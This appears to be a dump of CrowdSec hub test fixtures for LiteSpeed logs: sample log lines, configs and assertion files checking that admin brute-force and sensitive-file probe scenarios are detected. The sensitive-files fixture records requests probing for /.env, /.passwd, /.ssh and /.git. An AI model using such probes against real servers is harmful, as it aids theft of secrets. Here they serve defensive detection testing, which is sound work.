[42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: 2022-06-08 22:49:20.774649 [NOTICE] [1226033] [42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: 2022-06-08 22:49:20.774649 [NOTICE] [1226033] [42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: 2022-06-08 22:49:20.774649 [NOTICE] [1226033] [42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: 2022-06-08 22:49:20.774649 [NOTICE] [1226033] [42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: 2022-06-08 22:49:20.774649 [NOTICE] [1226033] [42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: 2022-06-08 22:49:20.774649 [NOTICE] [1226033] [42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: 2022-06-08 22:49:20.774649 [NOTICE] [1226033] [42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: 2022-06-08 22:49:20.774649 [NOTICE] [1226033] [42.42.42.42:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:42.42.42.42 url: hub1/.tests/litespeed-admin-bf/parser.assert000066400000000000000000000000001437532772500213120ustar00rootroot00000000000000hub1/.tests/litespeed-admin-bf/scenario.assert000066400000000000000000000073031437532772500216360ustar00rootroot00000000000000len(results) == 1 "42.42.42.42" in results[0].Overflow.GetSources() results[0].Overflow.Sources["42.42.42.42"].IP == "42.42.42.42" results[0].Overflow.Sources["42.42.42.42"].Range == "" results[0].Overflow.Sources["42.42.42.42"].GetScope() == "Ip" results[0].Overflow.Sources["42.42.42.42"].GetValue() == "42.42.42.42" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "litespeed-admin-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "42.42.42.42" results[0].Overflow.Alert.Events[0].GetMeta("sub_type") == "litespeed_admin_auth_fail" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-08T22:49:20.774649Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "asdasd" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "litespeed-admin-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "42.42.42.42" results[0].Overflow.Alert.Events[1].GetMeta("sub_type") == "litespeed_admin_auth_fail" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-08T22:49:20.774649Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "asdasd" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "litespeed-admin-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "42.42.42.42" results[0].Overflow.Alert.Events[2].GetMeta("sub_type") == "litespeed_admin_auth_fail" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-08T22:49:20.774649Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "asdasd" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "litespeed-admin-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "42.42.42.42" results[0].Overflow.Alert.Events[3].GetMeta("sub_type") == "litespeed_admin_auth_fail" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-08T22:49:20.774649Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "asdasd" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "litespeed-admin-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "42.42.42.42" results[0].Overflow.Alert.Events[4].GetMeta("sub_type") == "litespeed_admin_auth_fail" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-08T22:49:20.774649Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "asdasd" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "litespeed-admin-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "42.42.42.42" results[0].Overflow.Alert.Events[5].GetMeta("sub_type") == "litespeed_admin_auth_fail" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-06-08T22:49:20.774649Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "asdasd" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/litespeed-admin-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/litespeed-http-sensitive-files/000077500000000000000000000000001437532772500212165ustar00rootroot00000000000000hub1/.tests/litespeed-http-sensitive-files/config.yaml000066400000000000000000000004251437532772500233500ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/litespeed-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/http-sensitive-files.yaml log_file: litespeed-http-sensitive-files.log log_type: litespeed ignore_parsers: true hub1/.tests/litespeed-http-sensitive-files/litespeed-http-sensitive-files.log000066400000000000000000000025171437532772500277700ustar00rootroot00000000000000192.168.9.163 - - [09/Jun/2022:12:22:05 +0200] "GET /.env HTTP/1.1" 401 436 "http://192.168.9.212:8088/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" 192.168.9.163 - - [09/Jun/2022:12:22:05 +0200] "GET /foo.sql HTTP/1.1" 401 436 "http://192.168.9.212:8088/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" 192.168.9.163 - - [09/Jun/2022:12:22:05 +0200] "GET /.passwd HTTP/1.1" 401 436 "http://192.168.9.212:8088/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" 192.168.9.163 - - [09/Jun/2022:12:22:05 +0200] "GET /.ssh HTTP/1.1" 401 436 "http://192.168.9.212:8088/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" 192.168.9.163 - - [09/Jun/2022:12:22:05 +0200] "GET /.git HTTP/1.1" 401 436 "http://192.168.9.212:8088/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" 192.168.9.163 - - [09/Jun/2022:12:22:05 +0200] "GET /.config HTTP/1.1" 401 436 "http://192.168.9.212:8088/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" hub1/.tests/litespeed-http-sensitive-files/parser.assert000066400000000000000000000000001437532772500237230ustar00rootroot00000000000000hub1/.tests/litespeed-http-sensitive-files/scenario.assert000066400000000000000000000113771437532772500242550ustar00rootroot00000000000000len(results) == 1 "192.168.9.163" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.9.163"].IP == "192.168.9.163" results[0].Overflow.Sources["192.168.9.163"].Range == "" results[0].Overflow.Sources["192.168.9.163"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.9.163"].GetValue() == "192.168.9.163" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "litespeed-http-sensitive-files.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/.env" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "401" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-09T12:22:05+02:00" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "litespeed-http-sensitive-files.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/foo.sql" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "401" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-09T12:22:05+02:00" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "litespeed-http-sensitive-files.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/.passwd" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "401" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-09T12:22:05+02:00" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "litespeed-http-sensitive-files.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/.ssh" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "401" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-09T12:22:05+02:00" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "litespeed-http-sensitive-files.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/.git" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "401" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-09T12:22:05+02:00" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-sensitive-files" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 5 hub1/.tests/litespeed-logs/000077500000000000000000000000001437532772500160745ustar00rootroot00000000000000hub1/.tests/litespeed-logs/config.yaml000066400000000000000000000003051437532772500202230ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/litespeed-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich log_file: litespeed-logs.log log_type: litespeed ignore_parsers: false hub1/.tests/litespeed-logs/litespeed-logs.log000066400000000000000000000007171437532772500215240ustar00rootroot000000000000002022-06-08 22:49:20.774649 [NOTICE] [1226033] [1.2.3.4:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:127.0.0.1 url: 1.2.3.4 - - [08/Jun/2022:22:44:57 +0200] "GET /foo.php HTTP/1.1" 404 195 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" 2022-06-09 12:22:07.353044 [INFO] [1226038] [192.168.9.163:61120-5#Example] User 'asdasd' failed to authenticate. hub1/.tests/litespeed-logs/parser.assert000066400000000000000000000342701437532772500206210ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 3 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022-06-08 22:49:20.774649 [NOTICE] [1226033] [1.2.3.4:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:127.0.0.1 url:" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "litespeed" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "1.2.3.4 - - [08/Jun/2022:22:44:57 +0200] \"GET /foo.php HTTP/1.1\" 404 195 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "litespeed" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2022-06-09 12:22:07.353044 [INFO] [1226038] [192.168.9.163:61120-5#Example] User 'asdasd' failed to authenticate." results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "litespeed" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false len(results["s01-parse"]["crowdsecurity/litespeed-logs"]) == 3 results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Success == true results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["time"] == "2022-06-08 22:49:20.774649" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["username"] == "asdasd" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["client_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["message"] == "2022-06-08 22:49:20.774649 [NOTICE] [1226033] [1.2.3.4:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:127.0.0.1 url:" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["pid"] == "1226033" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["vhost"] == "_AdminVHost" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["log_level"] == "NOTICE" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["misc"] == "45164:HTTP2-41" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Parsed["program"] == "litespeed" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Meta["sub_type"] == "litespeed_admin_auth_fail" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Meta["username"] == "asdasd" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s01-parse"]["crowdsecurity/litespeed-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Success == true results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["message"] == "1.2.3.4 - - [08/Jun/2022:22:44:57 +0200] \"GET /foo.php HTTP/1.1\" 404 195 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36\"" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["request"] == "/foo.php" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["status"] == "404" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["time_local"] == "08/Jun/2022:22:44:57 +0200" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["program"] == "litespeed" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["body_bytes_sent"] == "195" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["http_path"] == "/foo.php" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["http_status"] == "404" results["s01-parse"]["crowdsecurity/litespeed-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Success == true results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["misc"] == "61120-5" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["program"] == "litespeed" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["time"] == "2022-06-09 12:22:07.353044" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["username"] == "asdasd" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["log_level"] == "INFO" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["message"] == "2022-06-09 12:22:07.353044 [INFO] [1226038] [192.168.9.163:61120-5#Example] User 'asdasd' failed to authenticate." results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["pid"] == "1226038" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["remote_addr"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Parsed["vhost"] == "Example" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Meta["username"] == "asdasd" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/litespeed-logs"][2].Evt.Meta["sub_type"] == "auth_fail" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 3 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "litespeed" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["vhost"] == "_AdminVHost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "2022-06-08 22:49:20.774649" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "asdasd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["client_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["log_level"] == "NOTICE" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-06-08 22:49:20.774649 [NOTICE] [1226033] [1.2.3.4:45164:HTTP2-41#_AdminVHost] [STDERR] [WebAdmin Console] Failed Login Attempt - username:asdasd ip:127.0.0.1 url:" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["misc"] == "45164:HTTP2-41" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "1226033" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["sub_type"] == "litespeed_admin_auth_fail" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-06-08T22:49:20.774649Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "asdasd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-06-08T22:49:20.774649Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "1.2.3.4 - - [08/Jun/2022:22:44:57 +0200] \"GET /foo.php HTTP/1.1\" 404 195 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time_local"] == "08/Jun/2022:22:44:57 +0200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "litespeed" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/foo.php" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["body_bytes_sent"] == "195" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-06-08T22:44:57+02:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_path"] == "/foo.php" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "litespeed-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-06-08T22:44:57+02:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2022-06-09 12:22:07.353044 [INFO] [1226038] [192.168.9.163:61120-5#Example] User 'asdasd' failed to authenticate." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "litespeed" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["remote_addr"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "2022-06-09 12:22:07.353044" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["username"] == "asdasd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["log_level"] == "INFO" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["misc"] == "61120-5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["pid"] == "1226038" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["vhost"] == "Example" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["sub_type"] == "auth_fail" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-06-09T12:22:07.353044Z" 